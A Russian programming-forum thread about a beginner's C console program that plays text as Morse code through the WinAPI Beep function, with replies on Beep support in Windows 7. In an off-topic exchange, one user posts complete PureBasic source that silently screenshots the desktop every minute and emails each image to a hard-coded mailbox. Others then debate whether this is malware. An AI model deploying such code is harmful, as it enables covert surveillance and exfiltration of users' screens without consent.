Форум программистов, компьютерный форум, киберфорум
Наши страницы
Бета-тестирование
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.50/4: Рейтинг темы: голосов - 4, средняя оценка - 4.50
tolimadokara
746 / 414 / 91
Регистрация: 24.10.2012
Сообщений: 3,025
Записей в блоге: 2
1

Консольный С(Си) генератор кода Морзе с текстового (Ru/En) содержимого. win xp/7

07.06.2017, 16:49. Просмотров 661. Ответов 16

Всем доброго времени суток! Дня 3-4 назад, на досуге, посетила идея создания не сложной программы (консольной, конечно же, так как я очень-очень начинающий в программировании на С(Си)) которая переводит простой текст в сигналы кода азбуки Морзе. За 4 часа соорудил первую версию. На следующий день - вторую. Сегодня (7 июня) утром, доделал этот код - теперь, он корректно озвучивает как английский так и русский текст. Welcome! Тестируйте!

Две версии, во вложениях [Signals_sequence_beeper_En_1.1.3.1] (для текстовых файлов латиницей) и [Signals_sequence_beeper_Ru_1.1.4.1] (для текстовых файлов латиницей + понимает кириллицу!), ниже. Соответствие символов латиницы (английский алфавит) и кириллический (русский алфавит) взято со страницы википедии о коде азбуки Морзе. Когда создавал код в блоках данных (массивы char_list и tokens_list) не много спешил, но, все, надеюсь что точно. Можно проверить, если не сложно . Далее - в консольке есть замечательный параметр, макрос B_S (Beep speed) который задает скорость озвучивания текста последовательностями звукового кода Морзе. По умолчанию он равен числу "3". Этот консольный плеер кода морзе вполне, имхо, можно применять для изучения[!] азбуки Морзе! Для режима изучения достаточно скомпилировать код с параметром B_S 0 (с нулевой скоростью). Для обычного режима подходит значение "3" (он установлен по умолчанию). Для скоростного, для оператора-профессионала подходит параметр равен "5" и более. >= 5 уже супер скорость. Длина звуковых сигналов для кода точка "." и тире "-", при изменении параметра B_S изменяется пропорционально[!]. Подбирал значение второго параметра winapi ф-и Beep при изменении параметра B_S, довольно долго. Старался. Есть задержки, паузы, как между "точкой" и "тире" (стр. №79/82) так и между токенами (стр. №82/85), или как ещё их назвать?

Вся таблица кода Морзе содержится в массиве tokens_list (стр. №55/58). Для создания звукового сигнала выбрал winapi ф-ю Beep. Она выдает звуковой сигнал через встроенный в компьютер системный динамик:
vnutrennij_dinamik_pc.jpg
Название: vnutrennij_dinamik_pc.jpg
Просмотров: 29

Размер: 2.4 Кб

Для звукового сигнала выбрана частота 1КГц (Beep(1000, ...)). Надо будет по Google'ить и посмотреть какая же частота ЗЧ кода является для Морзе стандартной, классической? На википедии этого не нашел . Тестируйте, плиз, пишите отзывы о консольке Free for all!

Есть не большой баг, не смог исправить: при озвучке русского текста в окне командной строки в конец log'а добавляется символ 'я'. Это как то связано со строкой №16, там, где "setlocale(LC_CTYPE, "rus");". Спасибо!

P.S.: Что можно доработать? В идеале, хотелось бы видеть win программку которая по ПКМ (правый клик мышей) по файлу, добавляет в контекстное меню проводника, строку, что-то, вроде "Озвучить файл кодом Морзе" и сразу идет озвучка! Без лишней визуализации программы! Можно сделать полноценную прогу, с окнами, разным GUI. Сделать конфигурационный файл с настройками и БД кодов символов, добавить ф-ю логирования запускаемых файлов. Так же, ф-ю создания wav/mp3 файла со звуком морзе собранного с текстового файла. Да, кстати, если подать ЗЧ сигнал с разьема ПК на микрофонный вход любительской УКВ радио станции (у кого такое есть) можно передавать полноценный код азбуки Морзе, кому угодно
0
Вложения
Тип файла: 7z Signals_sequence_beeper_En_1.1.3.1.7z (31.6 Кб, 3 просмотров)
Тип файла: 7z Signals_sequence_beeper_Ru_1.1.4.1.7z (32.7 Кб, 2 просмотров)
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
07.06.2017, 16:49
Ответы с готовыми решениями:

Перекодировка содержимого текстового файла в Win-1251 и запись результата в новый файл с именем компьютера
Добрый день, подскажите пожалуйста... стоит задача написать bat, который будет...

Расшифровка кода Морзе
Написал код на шифровку кода Морзе,но вот не получается код...

Транслятор кода морзе
Уважаемые программисты прошу вас помочь написать программу на дэлфях. Она...

Консольный проект переписать в Win forms
Код не мой нашёл на этом форуме)) using System; using...

Преобразование из кода Морзе в цифры и обратно
в общем есть задание Цифры представляются кодом Морзе следующим образом: 1 ....

16
locm
2191 / 916 / 118
Регистрация: 28.10.2011
Сообщений: 2,966
Записей в блоге: 6
08.06.2017, 10:42 2
Цитата Сообщение от tolimadokara Посмотреть сообщение
подбирал значение второго параметра winapi ф-и Beep
В вас Windows XP? В Windows 7 и выше, функция Beep не работает.
Выводите звук через звуковую карту.
0
tolimadokara
746 / 414 / 91
Регистрация: 24.10.2012
Сообщений: 3,025
Записей в блоге: 2
08.06.2017, 11:23  [ТС] 3
Добрый день! locm! Спасибо за ответ! Нет - у меня семёрка, windows 7. У братана xp. Проверял консольку на обоих (xp/7) осях - везде работает. Только на xp не отображает кириллицу в консоли.

В windows7 ф-я Beep работает . У меня, на семёрке, отлично работает эта ф-я.

Цитата Сообщение от locm
Выводите звук через звуковую карту.
да, можно и так. Но это, блин, сложно. Надо какие то библиотеки для этого использовать? хз.

-
Забыл рассказать как пользоваться этой программой (кто не понял?). Скачиваем необходимый *.7z архив на компьютер. Распаковываем его с помощью программы 7ZIP. Далее, в программе FAR, к примеру открываем эту распакованную папку, и, в командной строке файлового менеджера, пишем:

Код
ssb.exe имя_открываемого_файла
, т.е. пишем в командной строке название экзешника, программы ssb.exe. Далее делаем пробел и дописываем название и путь к открываемому и озвучиваемому текстовому файлу.

Если ничего не понятно, то можно просто после распаковки архива запустить батник (windows batch file) с названием hello.bat и озвучка запустится автоматически! Конечно, автоматически, для содержимого файла hello.text.

Добавлено через 28 минут
locm, на win xp sp3 и win 7 sp1 ф-я Beep(); (и консолька в общем) прекрасно работает! Не вру же я Вам? Так что, Вы ошибаетесь, что-ли?

Вот: https://msdn.microsoft.com/en-us/lib...(v=vs.85).aspx.

Код
Requirements

Minimum supported client | Windows XP [desktop apps only]
Minimum supported server | Windows Server 2003 [desktop apps only]
Header                   | WinBase.h (include Windows.h)
Library                  | Kernel32.lib
DLL                      | Kernel32.dll
0
locm
2191 / 916 / 118
Регистрация: 28.10.2011
Сообщений: 2,966
Записей в блоге: 6
08.06.2017, 12:30 4
Цитата Сообщение от tolimadokara Посмотреть сообщение
У меня, на семёрке, отлично работает эта ф-я.
x86? Проверьте в x64.

Цитата Сообщение от tolimadokara Посмотреть сообщение
Надо какие то библиотеки для этого использовать?
WinAPI достаточно.

Цитата Сообщение от tolimadokara Посмотреть сообщение
По ссылке написано
Since then, sound cards have become standard equipment on almost all PC computers. As sound cards became more common, manufacturers began to remove the old timer chip from computers. The chips were also excluded from the design of server computers. The result is that Beep did not work on all computers without the chip. This was okay because most developers had moved on to calling the MessageBeep function that uses whatever is the default sound device instead of the 8254 chip.

Eventually because of the lack of hardware to communicate with, support for Beep was dropped in Windows Vista and Windows XP 64-Bit Edition.
И в дополнение к этому https://blogs.msdn.microsoft.com/lar...-in-windows-7/
1
Pro_grammer
Модератор
6174 / 2257 / 443
Регистрация: 24.04.2011
Сообщений: 3,995
Записей в блоге: 10
08.06.2017, 14:13 5
Цитата Сообщение от tolimadokara Посмотреть сообщение
В windows7 ф-я Beep работает . У меня, на семёрке, отлично работает эта ф-я.
Подтверждаю! У меня на win7 x64 отлично всё работает.
Цитата Сообщение от tolimadokara Посмотреть сообщение
выдает звуковой сигнал через встроенный в компьютер системный динамик:
Вот это вы конечно мистер соврамши! Вернее, для XP да, работает бипер, а вот в Висте и дальше звук не через системный динамик, а через звуковую карту.
Так что ни каких дополнительных API не надо, всё уже придумали за нас (перенаправили).
1
tolimadokara
746 / 414 / 91
Регистрация: 24.10.2012
Сообщений: 3,025
Записей в блоге: 2
08.06.2017, 14:36  [ТС] 6
locm, xp: x86, а 7-ка: x64 (2 ядра, если не ошибаюсь, ноут, и бипер пищит через встр. в ноут. 2 стер. динамика. На слух, похоже на синусоидальный[!] сигнал а не на ступенчатый, звук гладкий). А на xp x86 (это, физически стационарный комп с железом ~2003 года создания) очень классно пищалка работает! Очень похоже на работу оператора Морзе. Два компа а ф-я Beep(); очень по разному выдает аудио сигнал.

Короче, уважаемые - по*иг, это не очень то и по теме, наверное, да? Как бы это обсуждение багов в работе консольного приложения. Не очень понял что там на англ. написано, с копи-пастиравоно, locm, не важно.

Не по теме:

Цитата Сообщение от Pro_grammer
Цитата Сообщение от tolimadokara
выдает звуковой сигнал через встроенный в компьютер системный динамик:
Вот это вы конечно мистер соврамши!
Что это за хрень, "мистер соврамши"?! Это у вас так на раёне говорят? :D Не в курсе современной народной фени.



Pro_grammer, не знал что на висте пищит через колонки. Может в системнике нет маленькой, круглой целиндрической штучки, этой - пищалки? Мож. просто девай не подключен к материнке?

Эх... Надо дальше учить С(Си) и winapi и сотворить что-то по серьезнее . Может быть форки (дочерние ответвления) пойдут от этой наработки? .

Не по теме:

Всем +1. Спасибо...

0
Pro_grammer
Модератор
6174 / 2257 / 443
Регистрация: 24.04.2011
Сообщений: 3,995
Записей в блоге: 10
08.06.2017, 17:40 7
Цитата Сообщение от tolimadokara Посмотреть сообщение
не знал что на висте пищит через колонки.
И я не знаю, я Висту ни когда не видел, если честно. Просто по логике, Виста гораздо ближе к Win7, чем к WinXP.
И уж тем более не ведаю, чего там засунули в отдельно взятый ноутбук, и что там должно пищать
Но по факту работает на любой системе, если колонки включены. На XP пищит всегда, бипер не выключается ведь!
1
tolimadokara
746 / 414 / 91
Регистрация: 24.10.2012
Сообщений: 3,025
Записей в блоге: 2
09.06.2017, 12:17  [ТС] 8

Не по теме:

Тоже Висту не видел :D. И видеть не хочу :D. Не люблю эту ось, почему - хз.



Добавлено через 15 часов 49 минут

Не по теме:

Даже не лайкнул никто наработку >:o

0
Pro_grammer
09.06.2017, 14:23
  #9

Не по теме:

Цитата Сообщение от tolimadokara Посмотреть сообщение
Даже не лайкнул никто наработку
У нас тут что, Инстаграм? Это сайт программистов, тут у каждого начинающего с десяток подобных по сложности программ.
Вот если бы 3D лабиринт запилил, или так на худой конец программу, которая тайно скриншоты делает и на тайное мыло шлёт!
P.S. А я из радио только знаю, как 7-ка звучит, остальное Морзе как козе барабан :)

0
locm
09.06.2017, 15:35
  #10

Не по теме:

Цитата Сообщение от Pro_grammer Посмотреть сообщение
программу, которая тайно скриншоты делает и на тайное мыло шлёт!
Реально сложная программа. Дарю, не стоит благодарности.:D
PureBasic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Mail.s     = "Login@mail.ru"
Password.s = "Password"
 
Procedure MakeDesktopScreenshot(ImageNr,x,y,Width,Height) ; Скрин области экрана.
  Res = #False
  If CreateImage(ImageNr,Width,Height)
    DWIn = GetDesktopWindow_()
    If DWIn
      DeskDC = GetDC_(DWIn)
      If DeskDC
        hDC    = StartDrawing(ImageOutput(ImageNr)) 
        If hDC
          If BitBlt_(hDC,0,0,Width,Height,DeskDC,x,y,#SRCCOPY) 
            Res = #True
          EndIf
          StopDrawing() 
        EndIf
        ReleaseDC_(DWIn,DeskDC) 
      EndIf
    EndIf
  EndIf
  ProcedureReturn Res 
EndProcedure
 
InitNetwork()
UsePNGImageEncoder()
 
Repeat
  
  Date = Date() ; Текущее время/дата
  
  ; Скрин всего экрана
  If MakeDesktopScreenshot(0,0,0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
    
    *Buff = EncodeImage(0, #PB_ImagePlugin_PNG) ; Кодирование картинки в png.
    If *Buff
      
      If CreateMail(0, Mail, "Screenshot", #PB_UTF8)
        AddMailRecipient(0, Mail, #PB_Mail_To)  
        
        ; Добавление вложения из памяти.
        AddMailAttachmentData(0, FormatDate("%hh_%ii_%ss__%mm_%dd_%yyyy.png" ,Date), *Buff, MemorySize(*Buff))
        ; Отправка письма.
        Res = SendMail(0, "smtp."+StringField(Mail, 2, "@"), 587, #PB_Mail_UseSSL, StringField(Mail, 1, "@"), Password)
        Debug Res
        FreeMail(0)
      EndIf
      
      FreeMemory(*Buff)
    EndIf
    
    FreeImage(0)
  EndIf
  
  Delay(60000) ; Ждем минуту.
  
ForEver
Программа каждую минуту отправляет скрин экрана в формате png на указанный почтовый ящик.:)

0
Pro_grammer
09.06.2017, 17:24
  #11

Не по теме:

Цитата Сообщение от locm Посмотреть сообщение
Дарю, не стоит благодарности.
Спасибо, но это был сарказм - просто вспомнил программу, которую тут реально много обсуждали на форуме
HideScreener - программа для скрытого создания скриншотов компьютера

0
tolimadokara
11.06.2017, 13:10  [ТС]
  #12

Не по теме:

Кликните здесь для просмотра всего текста
Кликните здесь для просмотра всего текста
Кликните здесь для просмотра всего текста
locm, Pro_grammer, как бы, правила форума нарушаете, п. 5.7:

Запрещено создание и распространение вредоносного ПО, вирусов, кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания.
:pardon:. Не скажу модерам, не перживайте. Может быть вы не знали что это запрещено в правилах форума? А код классный, надо будет себе скопи-пастить на всякий случай, мож., в компьютерном "хозяйстве" пригодится :D. Это Pascal, да? А, Basic, понял.

0
Pro_grammer
11.06.2017, 14:31
  #13

Не по теме:

Цитата Сообщение от tolimadokara Посмотреть сообщение
Не скажу модерам, не перживайте.
И не говорите мне. Где это вы увидели распространение вредоносного ПО, вирусов, кряков и взлома лицензионного софта, можно подробнее?

0
tolimadokara
746 / 414 / 91
Регистрация: 24.10.2012
Сообщений: 3,025
Записей в блоге: 2
11.06.2017, 22:53  [ТС] 14

Не по теме:

Цитата Сообщение от Pro_grammer
Где это вы увидели распространение вредоносного ПО, вирусов, кряков и взлома лицензионного софта, можно подробнее?
ну вот же где:
Цитата Сообщение от Pro_grammer
... программу, которая тайно скриншоты делает и на тайное мыло шлёт!
, и дальше идет исходник вредоносной программы которая шлет на емайл скриншот рабочего стола. этот исходник, разве, не подходит под определение "вредоносное ПО"? если не подходит - хорошо. честно говоря мне все равно, потому что не я модератор, либо владелец форума, это не моё дело. просто люблю этот форум, и люблю когда везде порядок :).

Да, Pro_grammer, знаю что вы модератор, это заметно по сиреневому цвету ника и подписью снизу: "модератор".



Добавлено через 2 минуты

Не по теме:

По сиреневому, по сиреневому цвету :D Не по розовому :D. Ошибся с цветом.

0
locm
11.06.2017, 23:14
  #15

Не по теме:

Цитата Сообщение от tolimadokara Посмотреть сообщение
этот исходник, разве, не подходит под определение "вредоносное ПО"?
Скорее потенциально нежелательное ПО.
Исходник сам по себе никаких вредоносных действий не производит. Отчет virustotal https://www.virustotal.com/ru/file/6...is/1497211853/
Ни один известный антивирус не обнаружил вредоносное ПО

0
Pro_grammer
12.06.2017, 06:34
  #16

Не по теме:

Цитата Сообщение от tolimadokara Посмотреть сообщение
которая шлет на емайл скриншот рабочего стола
Ок. Ваше мышление с позиции потенциального преступника.
А что вы тогда думаете о ПО для камер слежения, системах родительского контроля или если по взрослому, то системах контроля за рабочем временем на офисных компьютерах?
Это очень полезные программы, которые построены по схожему принципу - следить и сохранять отчеты где то на сервере или в другом недоступном для объекта слежения месте.

0
tolimadokara
12.06.2017, 09:12  [ТС]     Консольный С(Си) генератор кода Морзе с текстового (Ru/En) содержимого. win xp/7
  #17

Не по теме:

По*иг, забейте. Не буду с вами спорить.

0
12.06.2017, 09:12
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
12.06.2017, 09:12
Привет! Вот еще темы с ответами:

Редактор кода консольный
Добрый день Киборги:) На сайте используем систему wordpress и нужно всегда под...

Консольный редактор кода
Выбрал на тему курсача "Создание консольного редактора кода" на подобии Vim....

Морзе. Заменить цифры на код морзе.
ПОМОГИТЕ!!! Люди вот пишу программу. Задание: необходимо в текстовом файле...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
17
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2019, vBulletin Solutions, Inc.
Рейтинг@Mail.ru